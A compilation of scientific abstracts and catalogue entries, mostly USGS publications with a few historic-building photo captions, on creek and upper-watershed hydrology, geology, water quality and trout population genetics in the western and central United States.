Microsatellite allelic and mitochondrial DNA (mtDNA) haplotype diversity are analyzed in eight rainbow trout (Oncorhynchus mykiss) collections: two from tributaries flowing into the upper Santa Ynez River watershed at Gibraltar Reservoir (Camuesa and Gidney creeks); three from tributaries between Gibraltar and Jameson reservoirs (Fox, Blue Canyon, and Alder creeks); one from a tributary above Jameson Reservoir (Juncal Creek); Jameson Reservoir; and one from the mainstem Santa Ynez River above the Jameson Reservoir. Both analyses reveal a high degree of population structure. Thirteen microsatellite loci are amplified from 376 fish. Population pairwise comparisons show significant differences in allelic frequency among all populations with the exception of Juncal Creek and Jameson Reservoir (p = 0.4). Pairwise Fst values range from 0.001 (Juncal Creek and Jameson Reservoir) to 0.17 (Camuesa and Juncal creeks) with an overall value of 0.021. Regression analyses (Slatkin 1993) supports an isolation-bydistance model in the five populations below Jameson Reservoir (intercept = 1.187, slope = -0.41, r2 = 0.67). A neighbor-joining bootstrap value of 100% (based on 2000 replicate trees) separates the populations sampled above and below Juncal Dam. Composite haplotypes from 321 fish generated using mtDNA sequence data (Dloop) reveal four previously described haplotypes (MYS1, MYS3, MYS5 and MYS8; Nielsen et al. 1994a), and one (MYS5) was found in all populations. Mean haplotype diversity is 0.48. Pairwise Fst values from mtDNA range from -0.019 to 0.530 (0.177 over all populations) and are larger than those for microsatellites in 26 of 28 pairwise comparisons. In addition, the mtDNA and microsatellites provide contrasting evidence of the relationship of Fox and Alder creeks to the other six populations. Discrepancies between the two markers are likely due to the unique properties of the two marker types and their value in revealing historic (mtDNA) versus contemporary (microsatellites) genetic relationships. The contrasting results may indicate how relationships among the upper Santa Ynez River populations have changed since the installation of Juncal Dam. Comparisons of mtDNA haplotype frequencies from fish collected for this study with samples analyzed previously in JLN’s laboratory (1993) reveal significant differences in mtDNA haplotypes for Fox and Alder creeks. In the 2001 samples from this study, there is a loss of three haplotypes despite larger sample sizes. AMOVA analysis of what we term “upper” (Alder, Fox, Blue Canyon, Camuesa, Gidney creeks and the upper Santa Ynez mainstem) and “lower” (Hilton, Salsipuedes and the lower mainstem Santa Ynez River) Santa Ynez River populations (1993-2001) reveal that 11% of the variance in haplotypes is found between the upper and lower drainage. A comparison of the mtDNA data from this study with those available for southern California coastal and California hatchery O. mykiss populations yields Fst values of 0.15 and 0.47, respectively. Differentiation of mtDNA haplotypes for population pairs of Santa Ynez River and hatchery fish show no significant differentiation between wild and at least one hatchery strain in Cachuma Reservoir, Hilton Creek, and the Lower Santa Ynez River.

Upper Neogene stratigraphy and tectonics of Death Valley - A review

USGS Publications Warehouse

Knott, J.R.; Sarna-Wojcicki, A. M.; Machette, M.N.; Klinger, R.E.

2005-01-01

New tephrochronologic, soil-stratigraphic and radiometric-dating studies over the last 10 years have generated a robust numerical stratigraphy for Upper Neogene sedimentary deposits throughout Death Valley. Critical to this improved stratigraphy are correlated or radiometrically-dated tephra beds and tuffs that range in age from > 3.58 Ma to < 1.1 ka. These tephra beds and tuffs establish relations among the Upper Pliocene to Middle Pleistocene sedimentary deposits at Furnace Creek basin, Nova basin, Ubehebe-Lake Rogers basin, Copper Canyon, Artists Drive, Kit Fox Hills, and Confidence Hills. New geologic formations have been described in the Confidence Hills and at Mormon Point. This new geochronology also establishes maximum and minimum ages for Quaternary alluvial fans and Lake Manly deposits. Facies associated with the tephra beds show that ???3.3 Ma the Furnace Creek basin was a northwest-southeast-trending lake flanked by alluvial fans. This paleolake extended from the Furnace Creek to Ubehebe. Based on the new stratigraphy, the Death Valley fault system can be divided into four main fault zones: the dextral, Quaternary-age Northern Death Valley fault zone; the dextral, pre-Quaternary Furnace Creek fault zone; the oblique-normal Black Mountains fault zone; and the dextral Southern Death Valley fault zone. Post -3.3 Ma geometric, structural, and kinematic changes in the Black Mountains and Towne Pass fault zones led to the break up of Furnace Creek basin and uplift of the Copper Canyon and Nova basins. Internal kinematics of northern Death Valley are interpreted as either rotation of blocks or normal slip along the northeast-southwest-trending Towne Pass and Tin Mountain fault zones within the Eastern California shear zone. ?? 2005 Elsevier B.V. All rights reserved.

Channel stability of Turkey Creek, Nebraska

USGS Publications Warehouse

Rus, David L.; Soenksen, Philip J.

1998-01-01

Channelization on Turkey Creek and its receiving stream, the South Fork Big Nemaha River, has disturbed the equilibrium of Turkey Creek and has led to channel-stability problems, such as degradation and channel widening, which pose a threat to bridges and land adjacent to the stream. As part of a multiagency study, the U.S. Geological Survey assessed channel stability at two bridge sites on upper and middle portions of Turkey Creek by analyzing streambed-elevation data for gradation changes, comparing recent cross-section surveys and historic accounts, identifying bank-failure blocks, and analyzing tree-ring samples. These results were compared to gradation data and trend results for a U.S. Geological Survey streamflow-gaging station near the mouth of Turkey Creek from a previous study. Examination of data on streambed elevations reveals that degradation has occurred. The streambed elevation declined 0.5 m at the upper site from 1967-97. The streambed elevation declined by 3.2 m at the middle site from 1948-97 and exposed 2 m of the pilings of the Nebraska Highway 8 bridge. Channel widening could not be verified at the two sites from 1967-97, but a historic account indicates widening at the middle site to be two to three times that of the 1949 channel width. Small bank failures were evident at the upper site and a 4-m-wide bank failure occurred at the middle site in 1987 according to tree ring analyses. Examination of streambed-elevation data from a previous study at the lower site reveals a statistically significant aggrading trend from 1958-93. Further examination of these data suggests minor degradation occurred until 1975, followed by aggradation.

3. VIEW OF MAKERS PLATE ATTACHED TO UPPER CHORD MEMBER ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

3. VIEW OF MAKERS PLATE ATTACHED TO UPPER CHORD MEMBER WHICH STATES 'HUSTON AND CLEVELAND CONTRACTORS, COLUMBUS, OHIO, 1904.' - Main Street Parker Pony Truss Bridge, Main Street (Route 170) spanning Yellow Creek, Poland, Mahoning County, OH

Isotopic composition of ice cores and meltwater from upper fremont glacier and Galena Creek rock glacier, Wyoming

USGS Publications Warehouse

DeWayne, Cecil L.; Green, J.R.; Vogt, S.; Michel, R.; Cottrell, G.

1998-01-01

Meltwater runoff from glaciers can result from various sources, including recent precipitation and melted glacial ice. Determining the origin of the meltwater from glaciers through isotopic analysis can provide information about such things as the character and distribution of ablation on glaciers. A 9.4 m ice core and meltwater were collected in 1995 and 1996 at the glacigenic Galena Creek rock glacier in Wyoming's Absaroka Mountains. Measurements of chlorine-36 (36Cl), tritium (3H), sulphur-35 (35S), and delta oxygen-18 (??18O) were compared to similar measurements from an ice core taken from the Upper Fremont Glacier in the Wind River Range of Wyoming collected in 1991-95. Meltwater samples from three sites on the rock glacier yielded 36Cl concentrations that ranged from 2.1 ?? 1.0 X 106 to 5.8??0.3 X 106 atoms/l. The ice-core 36Cl concentrations from Galena Creek ranged from 3.4??0.3 X 105 to 1.0??0.1 X 106 atoms/l. Analysis of an ice core from the Upper Fremont Glacier yielded 36Cl concentrations of 1.2??0.2 X 106 and 5.2??0.2 X 106 atoms/l for pre- 1940 ice and between 2 X 106 and 3 X 106 atoms/l for post-1980 ice. Purdue's PRIME Lab analyzed the ice from the Upper Fremont Glacier. The highest concentration of 36Cl in the ice was 77 ?? 2 X 106 atoms/l and was deposited during the peak of atmospheric nuclear weapons testing in the late 1950s. This is an order of magnitude greater than the largest measured concentration from both the Upper Fremont Glacier ice core that was not affected by weapons testing fallout and the ice core collected from the Galena Creek rock glacier. Tritium concentrations from the rock glacier ranged from 9.2??0.6 to 13.2??0.8 tritium units (TU) in the meltwater to -1.3??1.3 TU in the ice core. Concentrations of 3H in the Upper Fremont Glacier ice core ranged from 0 TU in the ice older than 50 years to 6-12 TU in the ice deposited in the last 10 years. The maximum 3H concentration in ice from the Upper Fremont Glacier deposited in the early 1960s during peak weapons testing fallout for this isotope was 360 TU. One meltwater sample from the rock glacier was analyzed for 35S with a measured concentration of 5.4??1.0 millibecquerel per liter (mBeq/l). Modern precipitation in the Rocky Mountains contains 35S from 10 to 40 mBeq/L. The ??18O results in meltwater from the Galena Creek rock glacier (-17.40??0.1 to -17.98??0.1 per mil) are similar to results for modern precipitation in the Rocky Mountains. Comparison of these isotopic concentrations from the two glaciers suggest that the meltwater at the Galena Creek site is composed mostly of melted snow and rain that percolates through the rock debris that covers the glacier. Additionally, this water from the rock debris is much younger (less than two years) than the reported age of about 2000 years for the subsurface ice at the mid-glacier coring site. Thus the meltwater from the Galena Creek rock glacier is composed primarily of melted surface snow and rain water rather than melted glacier ice, supporting previous estimates of slow ablation rates beneath the surface debris of the rock glacier.

Streamflow and water-quality data for selected watersheds in the Lake Tahoe basin, California and Nevada, through September 1998

USGS Publications Warehouse

Rowe, T.G.; Saleh, D.K.; Watkins, S.A.; Kratzer, C.R.

2002-01-01

The U.S. Geological Survey, in cooperation with the Tahoe Regional Planning Agency, and the University of California, Davis-Tahoe Research Group, has monitored tributaries in the Lake Tahoe Basin since 1988. This monitoring has characterized streamflow and has determined concentrations of nutrients and suspended sediment, which may have contributed to loss of clarity in Lake Tahoe. The Lake Tahoe Interagency Monitoring Program was developed to collect water-quality data in the basin. In 1998, the tributary-monitoring program included 41 water-quality stations in 14 of the 63 watersheds totaling half the area tributary to Lake Tahoe. The monitored watershed areas range from 1.08 square miles for First Creek to 56.5 square miles for the Upper Truckee River.Annual and unit runoff for 20 primary and secondary streamflow gaging stations in 10 selected watersheds are described. Water years 1988-98 were used to compare runoff data. The Upper Truckee River at South Lake Tahoe, Calif., had the highest annual runoff and Logan House Creek near Glenbrook, Nev., had the lowest. Blackwood Creek near Tahoe City, Calif., had the highest unit runoff and Logan House Creek had the lowest. The highest instantaneous peak flow was recorded at Upper Truckee River at South Lake Tahoe during the January 2, 1997, flood event.Certain water-quality measurements were made in the field. Ranges and median values of those measurements are described for 41 stations. Water temperature ranged from 0 to 23?C. Specific conductance ranged from 13 to 900 microsiemens per centimeter at 25?C. pH ranged from 6.7 to 10.6. Dissolved-oxygen concentrations ranged from 5.2 to 12.6 mg/L and from 70 to 157 percent of saturation.Loads, yields, and trends of nutrients and suspended sediment during water years 1988-98 at the streamflow gaging stations also are described. The Upper Truckee River at South Lake Tahoe had the largest median monthly load for five of the six measured nutrients and of suspended sediment, while Trout Creek at South Lake Tahoe had the largest median monthly load for the remaining nutrient. Logan House Creek near Glenbrook had the smallest median monthly loads for all nutrients and suspended sediment. Seasonal load summaries at selected stations showed nutrient and suspended-sediment loads were greatest in the spring months of April, May and June and least in the summer months of July, August, and September. Monthly load comparisons also were described for five watersheds with multiple stations.Incline Creek had the highest combined rank for all nutrients and sediment. Incline Creek had the largest monthly yields for dissolved nitrite plus nitrate nitrogen and soluble reactive phosphorus. Third Creek had the second highest combined rank and had the largest monthly yields for total nitrogen, total phosphorus, biologically reactive iron, and suspended sediment. Edgewood Creek had the largest monthly yield for dissolved ammonia nitrogen. Logan House Creek had the lowest combined rank and the smallest monthly yields for all nutrients and sediment.Trends in concentrations are either decreasing or not significant for all nutrients in all sampled watersheds, with the exception of biologically reactive iron. Biologically reactive iron and suspended sediment show an increasing trend in three watersheds and decreasing or no significant trend in the other seven watersheds.

Water quality, sources of nitrate, and chemical loadings in the Geronimo Creek and Plum Creek watersheds, south-central Texas, April 2015–March 2016

USGS Publications Warehouse

Lambert, Rebecca B.; Opsahl, Stephen P.; Musgrove, MaryLynn

2017-12-22

Located in south-central Texas, the Geronimo Creek and Plum Creek watersheds have long been characterized by elevated nitrate concentrations. From April 2015 through March 2016, an assessment was done by the U.S. Geological Survey, in cooperation with the Guadalupe-Blanco River Authority and the Texas State Soil and Water Conservation Board, to characterize nitrate concentrations and to document possible sources of elevated nitrate in these two watersheds. Water-quality samples were collected from stream, spring, and groundwater sites distributed across the two watersheds, along with precipitation samples and wastewater treatment plant (WWTP) effluent samples from the Plum Creek watershed, to characterize endmember concentrations and isotopic compositions from April 2015 through March 2016. Stream, spring, and groundwater samples from both watersheds were collected during four synoptic sampling events to characterize spatial and temporal variations in water quality and chemical loadings. Water-quality and -quantity data from the WWTPs and stream discharge data also were considered. Samples were analyzed for major ions, selected trace elements, nutrients, and stable isotopes of water and nitrate.The dominant land use in both watersheds is agriculture (cultivated crops, rangeland, and grassland and pasture). The upper part of the Plum Creek watershed is more highly urbanized and has five major WWTPs; numerous smaller permitted wastewater outfalls are concentrated in the upper and central parts of the Plum Creek watershed. The Geronimo Creek watershed, in contrast, has no WWTPs upstream from or near the sampling sites.Results indicate that water quality in the Geronimo Creek watershed, which was evaluated only during base-flow conditions, is dominated by groundwater, which discharges to the stream by numerous springs at various locations. Nitrate isotope values for most Geronimo Creek samples were similar, which indicates that they likely have a common source (or sources) of nitrate. Nitrate sources in the Geronimo Creek watershed include a predominance of nitrate from fertilizer applications, as well as a contribution from septic systems. Additional nitrate loading from these sources is ongoing. Chemical loadings of dissolved solids, chloride, and sulfate varied little among sampling events and were low at most sites because of low streamflow.In contrast to the Geronimo Creek watershed, nitrate sources in the Plum Creek watershed are dominated by effluent discharge from the major WWTPs in the upper and central parts of the watershed. Results indicate that discharge from these WWTPs accounts for the majority of base flow in the watershed. Nitrate concentrations in Plum Creek were dependent on flow conditions, with the highest concentrations measured at lower flows, when flow is dominated by WWTP effluent discharge. In addition to WWTP effluent discharge, the Plum Creek watershed, similar to the Geronimo Creek watershed, also is affected by historical and current loading of nitrate from fertilizer applications and from septic systems in the watershed. Chemical loadings of dissolved solids, chloride, sulfate, and nitrate in Plum Creek at lower flow conditions are highest at the upstream sites and decrease downstream as distance from the WWTPs increases, which is consistent with WWTP effluent as an important control on water quality. Under higher flow conditions, however, nitrate loads to Plum Creek increased by about a factor of three. These higher nitrate loads cannot be accounted for by WWTP effluent discharge from the five major WWTPs in the watershed. This additional loading indicates that nitrate is exported from the northeastern part of the watershed. In the lower part of the Plum Creek watershed, higher concentrations of dissolved solids, chloride, and sulfate occur, which might be affected by produced water associated with oil and gas exploration, or mixing with saline groundwater.

Stratigraphy and sedimentology of the Upper Cretaceous (Campanian) Anacacho Limestone, Texas, USA

USGS Publications Warehouse

Swezey, C.S.; Sullivan, E.C.

2004-01-01

The Upper Cretaceous Anacacho Limestone is exposed in outcrops between the cities of San Antonio and Del Rio, Texas. A detailed study of four outcrops (Blanco Creek section, Sabinal River section, Seco Creek section, Hondo Creek section) shows that the Anacacho Limestone rests on the Upson Clay (which contains fauna of early Campanian age) and is overlain by the Corsicana Marl (which contains fauna of early Maastrichtian age). An unconformity within the Anacacho Limestone is used herein to separate the limestone into a lower member and an upper member. The lower Anacacho member contains fauna of early Campanian age, whereas the upper Anacacho member contains fauna of middle Campanian age. The lower Anacacho member consists predominantly of wackestones to packstones, which are overlain by packstones to grainstones capped by the unconformity. This unconformity is interpreted as a marine flooding surface, delineating a transition from carbonate grainstones deposited in shallow water (<30 m depth) to a chalk deposited in deeper water. Above the unconformity, the upper Anacacho member is characterized by a chalk, overlain by wackestones and packstones. The uppermost section of the Anacacho Limestone consists of packstones and grainstones with abundant and diverse fossils. Most of the Anacacho Limestone developed in relatively shallow water (<50 m depth) leeward of a large carbonate build-up (possibly a rudistid reef) that now comprises the Anacacho Mountains. The environment, however, was open to marine water throughout deposition of the Anacacho Limestone. ?? 2004 Elsevier Ltd. All rights reserved.

The occurrence and distribution of selected trace elements in the upper Rio Grande and tributaries in Colorado and Northern New Mexico

USGS Publications Warehouse

Taylor, Howard E.; Antweiler, Ronald C.; Roth, D.A.; Brinton, T.I.; Peart, D.B.; Healy, D.F.

2001-01-01

Two sampling trips were undertaken in 1994 to determine the distribution of trace elements in the Upper Rio Grande and several of its tributaries. Water discharges decreased in the main stem of the Rio Grande from June to September, whereas dissolved concentrations of trace elements generally increased. This is attributed to dilution of base flow from snowmelt runoff in the June samples. Of the three major mining districts (Creede, Summitville, and Red River) in the Upper Rio Grande drainage basin, only the Creede District appears to impact the Rio Grande in a significant manner, with both waters and sediments having elevated concentrations of some trace elements considerably downriver. For example, dissolved zinc concentrations upriver of Willow Creek, which primarily drains the Creede District, were about 2-3 μg/L; immediately downstream of the Willow Creek confluence, concentrations were above 20 μg/L; and elevated concentrations occurred in the Rio Grande for the next 100 km. The Red River District does not significantly impact the Upper Rio Grande for most trace elements. Because of current water management practices, it is difficult to assess the impact of the Summitville District on the Upper Rio Grande. There are, however, large increases in many dissolved trace element concentrations as the Rio Grande passes through the San Luis Valley, coincident with elevated concentrations of those same trace elements in tributaries. Among these elements are As, B, Cr, Li, Mn, Mo, Ni, Sr, U, and V. None of the trace elements exceeded U.S. EPA primary drinking water standards in either survey, with the exception of cadmium in Willow Creek. Secondary drinking water standards were frequently violated, especially in tributaries draining areas where mining has occurred. Dissolved zinc (in Willow Creek in both June and September) was the only element that exceeded the EPA Water Quality Criteria for aquatic life of 120 μg/L.

10. INTERIOR OF LIVING ROOM SHOWING FRONT DOOR FLANKED BY ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

10. INTERIOR OF LIVING ROOM SHOWING FRONT DOOR FLANKED BY SLIDING GLASS WINDOWS AND ELECTRICAL WALL HEATER. ORIGINAL 1-LIGHT OVER 1-LIGHT, DOUBLE-HUNG WINDOW AT PHOTO RIGHT. CEILING VENT TO CHIMNEY AT RIGHT UPPER PHOTO CENTER. VIEW TO SOUTHEAST. - Bishop Creek Hydroelectric System, Plant 4, Worker Cottage, Bishop Creek, Bishop, Inyo County, CA

Construction and calibration of a groundwater-flow model to assess groundwater availability in the uppermost principal aquifer systems of the Williston Basin, United States and Canada

USGS Publications Warehouse

Davis, Kyle W.; Long, Andrew J.

2018-05-31

The U.S. Geological Survey developed a groundwater-flow model for the uppermost principal aquifer systems in the Williston Basin in parts of Montana, North Dakota, and South Dakota in the United States and parts of Manitoba and Saskatchewan in Canada as part of a detailed assessment of the groundwater availability in the area. The assessment was done because of the potential for increased demands and stresses on groundwater associated with large-scale energy development in the area. As part of this assessment, a three-dimensional groundwater-flow model was developed as a tool that can be used to simulate how the groundwater-flow system responds to changes in hydrologic stresses at a regional scale.The three-dimensional groundwater-flow model was developed using the U.S. Geological Survey’s numerical finite-difference groundwater model with the Newton-Rhapson solver, MODFLOW–NWT, to represent the glacial, lower Tertiary, and Upper Cretaceous aquifer systems for steady-state (mean) hydrological conditions for 1981‒2005 and for transient (temporally varying) conditions using a combination of a steady-state period for pre-1960 and transient periods for 1961‒2005. The numerical model framework was constructed based on existing and interpreted hydrogeologic and geospatial data and consisted of eight layers. Two layers were used to represent the glacial aquifer system in the model; layer 1 represented the upper one-half and layer 2 represented the lower one-half of the glacial aquifer system. Three layers were used to represent the lower Tertiary aquifer system in the model; layer 3 represented the upper Fort Union aquifer, layer 4 represented the middle Fort Union hydrogeologic unit, and layer 5 represented the lower Fort Union aquifer. Three layers were used to represent the Upper Cretaceous aquifer system in the model; layer 6 represented the upper Hell Creek hydrogeologic unit, layer 7 represented the lower Hell Creek aquifer, and layer 8 represented the Fox Hills aquifer. The numerical model was constructed using a uniform grid with square cells that are about 1 mile (1,600 meters) on each side with a total of about 657,000 active cells.Model calibration was completed by linking Parameter ESTimation (PEST) software with MODFLOW–NWT. The PEST software uses statistical parameter estimation techniques to identify an optimum set of input parameters by adjusting individual model input parameters and assessing the differences, or residuals, between observed (measured or estimated) data and simulated values. Steady-state model calibration consisted of attempting to match mean simulated values to measured or estimated values of (1) hydraulic head, (2) hydraulic head differences between model layers, (3) stream infiltration, and (4) discharge to streams. Calibration of the transient model consisted of attempting to match simulated and measured temporally distributed values of hydraulic head changes, stream base flow, and groundwater discharge to artesian flowing wells. Hydraulic properties estimated through model calibration included hydraulic conductivity, vertical hydraulic conductivity, aquifer storage, and riverbed hydraulic conductivity in addition to groundwater recharge and well skin.The ability of the numerical model to accurately simulate groundwater flow in the Williston Basin was assessed primarily by its ability to match calibration targets for hydraulic head, stream base flow, and flowing well discharge. The steady-state model also was used to assess the simulated potentiometric surfaces in the upper Fort Union aquifer, the lower Fort Union aquifer, and the Fox Hills aquifer. Additionally, a previously estimated regional groundwater-flow budget was compared with the simulated steady-state groundwater-flow budget for the Williston Basin. The simulated potentiometric surfaces typically compared well with the estimated potentiometric surfaces based on measured hydraulic head data and indicated localized groundwater-flow gradients that were topographically controlled in outcrop areas and more generalized regional gradients where the aquifers were confined. The differences between the measured and simulated (residuals) hydraulic head values for 11,109 wells were assessed, which indicated that the steady-state model generally underestimated hydraulic head in the model area. This underestimation is indicated by a positive mean residual of 11.2 feet for all model layers. Layer 7, which represents the lower Hell Creek aquifer, is the only layer for which the steady-state model overestimated hydraulic head. Simulated groundwater-level changes for the transient model matched within plus or minus 2.5 feet of the measured values for more than 60 percent of all measurements and to within plus or minus 17.5 feet for 95 percent of all measurements; however, the transient model underestimated groundwater-level changes for all model layers. A comparison between simulated and estimated base flows for the steady-state and transient models indicated that both models overestimated base flow in streams and underestimated annual fluctuations in base flow.The estimated and simulated groundwater budgets indicate the model area received a substantial amount of recharge from precipitation and stream infiltration. The steady-state model indicated that reservoir seepage was a larger component of recharge in the Williston Basin than was previously estimated. Irrigation recharge and groundwater inflow from outside the Williston Basin accounted for a relatively small part of total groundwater recharge when compared with recharge from precipitation, stream infiltration, and reservoir seepage. Most of the estimated and simulated groundwater discharge in the Williston Basin was to streams and reservoirs. Simulated groundwater withdrawal, discharge to reservoirs, and groundwater outflow in the Williston Basin accounted for a smaller part of total groundwater discharge.The transient model was used to simulate discharge to 571 flowing artesian wells within the model area. Of the 571 established flowing artesian wells simulated by the model, 271 wells did not flow at any time during the simulation because hydraulic head was always below the land-surface altitude. As hydraulic head declined throughout the simulation, 68 of these wells responded by ceasing to flow by the end of 2005. Total mean simulated discharge for the 571 flowing artesian wells was 55.1 cubic feet per second (ft3/s), and the mean simulated flowing well discharge for individual wells was 0.118 ft3/s. Simulated discharge to individual flowing artesian wells increased from 0.039 to 0.177 ft3/s between 1961 and 1975 and decreased to 0.102 ft3/s by 2005. The mean residual for 34 flowing wells with measured discharge was 0.014 ft3/s, which indicates the transient model overestimated discharge to flowing artesian wells in the model area.Model limitations arise from aspects of the conceptual model and from simplifications inherent in the construction and calibration of a regional-scale numerical groundwater-flow model. Simplifying assumptions in defining hydraulic parameters in space and hydrologic stresses and time-varying observational data in time can limit the capabilities of this tool to simulate how the groundwater-flow system responds to changes in hydrologic stresses, particularly at the local scale; nevertheless, the steady-state model adequately simulated flow in the uppermost principal aquifer systems in the Williston Basin based on the comparison between the simulated and estimated groundwater-flow budget, the comparison between simulated and estimated potentiometric surfaces, and the results of the calibration process.

Geologic strip map along the Hines Creek Fault showing evidence for Cenozoic displacement in the western Mount Hayes and northeastern Healy quadrangles, eastern Alaska Range, Alaska

USGS Publications Warehouse

Nokleberg, Warren J.; Aleinikoff, John N.; Bundtzen, Thomas K.; Hanshaw, Maiana N.

2013-01-01

Geologic mapping of the Hines Creek Fault and the adjacent Trident Glacier and McGinnis Glacier Faults to the north in the eastern Alaska Range, Alaska, reveals that these faults were active during the Cenozoic. Previously, the Hines Creek Fault, which is considered to be part of the strike-slip Denali Fault system (Ridgway and others, 2002; Nokleberg and Richter, 2007), was interpreted to have been welded shut during the intrusion of the Upper Cretaceous Buchanan Creek pluton (Wahrhaftig and others, 1975; Gilbert, 1977; Sherwood and Craddock, 1979; Csejtey and others, 1992). Our geologic mapping along the west- to west-northwest-striking Hines Creek Fault in the northeastern Healy quadrangle and central to northwestern Mount Hayes quadrangle reveals that (1) the Buchanan Creek pluton is truncated by the Hines Creek Fault and (2) a tectonic collage of fault-bounded slices of various granitic plutons, metagabbro, metabasalt, and sedimentary rock of the Pingston terrane occurs south of the Hines Creek Fault.

Flood of August 31-September 1, 1978, in Crosswicks Creek basin and vicinity, central New Jersey

USGS Publications Warehouse

Vickers, Arthur A.

1980-01-01

A thunderstorm during the evening of August 31, 1978, caused flooding in a small area of south central New Jersey. Maximum peaks of record occurred on the upper Crosswicks Creek basin in the vicinity of Fort Dix, Wrightstown, and New Egypt. At New Egypt, high water crest elevations for Crosswicks Creek were approximately 4 feet higher than the previous maximum recorded on August 28, 1971. Total damages were in excess of 2 million dollars, with 70 houses and 14 businesses affected.

Hydrologic and water-quality conditions in the Horse Creek Basin, west-central Florida, October 1992-February 1995

USGS Publications Warehouse

Lewelling, B.R.

1997-01-01

A baseline study of the 241-square-mile Horse Creek basin was undertaken from October 1992 to February 1995 to assess the hydrologic and water-quality conditions of one of the last remaining undeveloped basins in west-central Florida. During the period of the study, much of the basin remained in a natural state, except for limited areas of cattle and citrus production and phosphate mining. Rainfall in 1993 and 1994 in the Horse Creek basin was 8 and 31 percent, respectively, above the 30-year long-term average. The lowest and highest maximum instantaneous peak discharge of the six daily discharge stations occurred at the Buzzard Roost Branch and the Horse Creek near Arcadia stations with 185 to 4,180 cubic feet per second, respectively. The Horse Creek near Arcadia station had the lowest number of no-flow days with zero days and the Brushy Creek station had the highest number with 113 days. During the study, the West Fork Horse Creek subbasin had the highest daily mean discharge per square mile with 30.6 cubic feet per second per square mile, and the largest runoff coefficient of 43.7 percent. The Buzzard Roost Branch subbasin had the lowest daily mean discharge per square mile with 5.05 cubic feet per second per square mile, and Brushy Creek and Brandy Branch shared the lowest runoff coefficient of 0.6 percent. Brandy Branch had the highest monthly mean runoff in both 1993 and 1994 with 11.48 and 19.28 inches, respectively. During the high-baseflow seepage run, seepage gains were 8.87 cubic feet per second along the 43-mile Horse Creek channel. However, during the low-baseflow seepage run, seepage losses were 0.88 cubic foot per second. Three methods were used to estimate average annual ground-water recharge in the Horse Creek basin: (1) well hydrograph, (2) chloride mass balance, and (3) streamflow hydrograph. Estimated average annual recharge using these three methods ranged from 3.6 to 8.7 inches. The high percentage of carbonate plus bicarbonate analyzed at the Carlton surficial aquifer well could indicate an upward ground-water flow from the underlying intermediate aquifer system. Based on constituent concentrations in water samples from the six daily discharge stations, concentrations generally are lower in the upper three subbasins, West Fork Horse Creek, Upper Horse Creek, and Brushy Creek than in the lower three subbasins. Typically, concentrations were highest for major ions at Buzzard Roost Branch and nutrients at Brushy Creek.

Water-quality effects on Baker Lake of recent volcanic activity at Mount Baker, Washington

USGS Publications Warehouse

Bortleson, Gilbert Carl; Wilson, Reed T.; Foxworthy, B.L.

1976-01-01

Increased volcanic activity on Mount Baker, which began in March 1975, represents the greatest known activity of a Cascade Range volcano since eruptions at Lassen Peak, Calif. during 1914-17. Emissions of dust and increased emanations of steam, other gases, and heat from the Sherman Crater area of the mountain focused attention on the possibility of hazardous events, including lava flows, pyroclastic eruptions, avalanches, and mudflows. However, the greatest undesirable natural results that have been observed after one year of the increased activity are an increase in local atmospheric pollution and a decrease in the quality of some local water resources, including Baker Lake. Baker Lake, a hydropower reservoir behind Upper Baker Dam, supports a valuable fishery resource and also is used for recreation. The lake's feedwater is from Baker River and many smaller streams, some of which, like Boulder Creek, drain parts of Mount Baker. Boulder Creek receives water from Sherman Crater, and its channel is a likely route for avalanches or mudflows that might originate in the crater area. Boulder Creek drains only about 5 percent of the total drainage area of Baker Lake, but during 1975 carried sizeable but variable loads of acid and dissolved minerals into the lake. Sulfurous gases and the fumarole dust from Sherman Crater are the main sources for these materials, which are brought into upper Boulder Creek by meltwater from the crater. In September 1973, before the increased volcanic activity, Boulder Creek near the lake had a pH of 6.0-6.6; after the increase the pH ranged as low as about 3.5. Most nearby streams had pH values near 7. On April 29, in Boulder Creek the dissolved sulfate concentration was 6 to 29 times greater than in nearby creeks or in Baker River; total iron was 18-53 times greater than in nearby creeks; and other major dissolved constituents generally 2 to 7 times greater than in the other streams. The short-term effects on Baker Lake of the acidic, mineral-rich inflow depend mainly on: (1) the rate of flow and the character of Boulder Creek water at the time; (2) the relative rate of inflow of the feedwater from other streams; and (3) whether the reservoir is temperature-stratified (summer) or homothermal (winter). A distinct layer of Boulder Creek water was found in the lake in September 1975 extending at least 0.3 miles (.5 km) downreservoir. The greatest opportunity for water from Boulder Creek to persist as a layer and extend farthest before mixing with the other reservoir water is when Baker Lake is strongly stratified and Boulder Creek flow rate is large in relation to other feedwater. Baker Lake probably could assimilate indefinitely the acid loads measured during 1975, by dilution, chemical neutralization, and buffering of the acid-rich Boulder creek water. Minor elements found in Boulder Creek water included arsenic, selenium, and mercury; however, none of these would reach the limits recommended by the U.S. Environmental Protection Agency for public water supplies unless their concentrations increased to several times the amounts found during this study. Under the prevailing conditions, acid-rich Boulder Creek water apparently cannot accumulate as a pool, or persist as a layer long enough to reach Upper Baker Dam and attack the concrete. However, even if the acid load from Boulder Creek does not greatly increase, occasional light fish mortalities may result near the mouth of the creek. Greater acid and mineral loads, resulting from further increases in volcanic activity or other possible causes, could be more harmful, especially to the fish. Continued monitoring of Boulder Creek flow and water quality is needed to rapidly any changes in conditions at Sherman Crater, and to provide warning of possible greater impacts on Baker Lake from any future increases in Mount Baker activity.

History of ground-water pumpage and water-level decline in the Black Creek and upper Cape Fear aquifers of the central coastal plain of North Carolina

USGS Publications Warehouse

Winner, M.D.; Lyke, W.L.

1986-01-01

Historical ground-water withdrawals and a general water-level decline in the Black Creek and upper Cape Fear aquifers of the central Coastal Plain of North Carolina are documented. Total municipal and industrial pumpage from these aquifers has increased from approximately 120,000 gal/day (gpd) in 1910 to >21 million gpd in 1980. Major pumpage, > 10,000 gpd, began around 1900. Since that time, per capita water use in the central Coastal Plain area has ranged from 17 to 172 gpd/person. The higher values partially represent the increasing availability and use of modern conveniences since the World War II era. The range of per capita water use can be subdivided according to general water-use and population characteristics for both urban and rural areas. The pumpage of ground water from the Black Creek and upper Cape Fear aquifers has created water-level declines from 0.5 to 4.9 ft/year since 1900. Approximately a third of the study area has experienced a decline > 50 ft up to the period 1979-1981, with 148 ft being the maximum.

Geologic and hydrostratigraphic map of the Anhalt, Fischer, and Spring Branch 7.5-minute quadrangles, Blanco, Comal, and Kendall Counties, Texas

USGS Publications Warehouse

Clark, Allan K.; Robert R. Morris,

2015-01-01

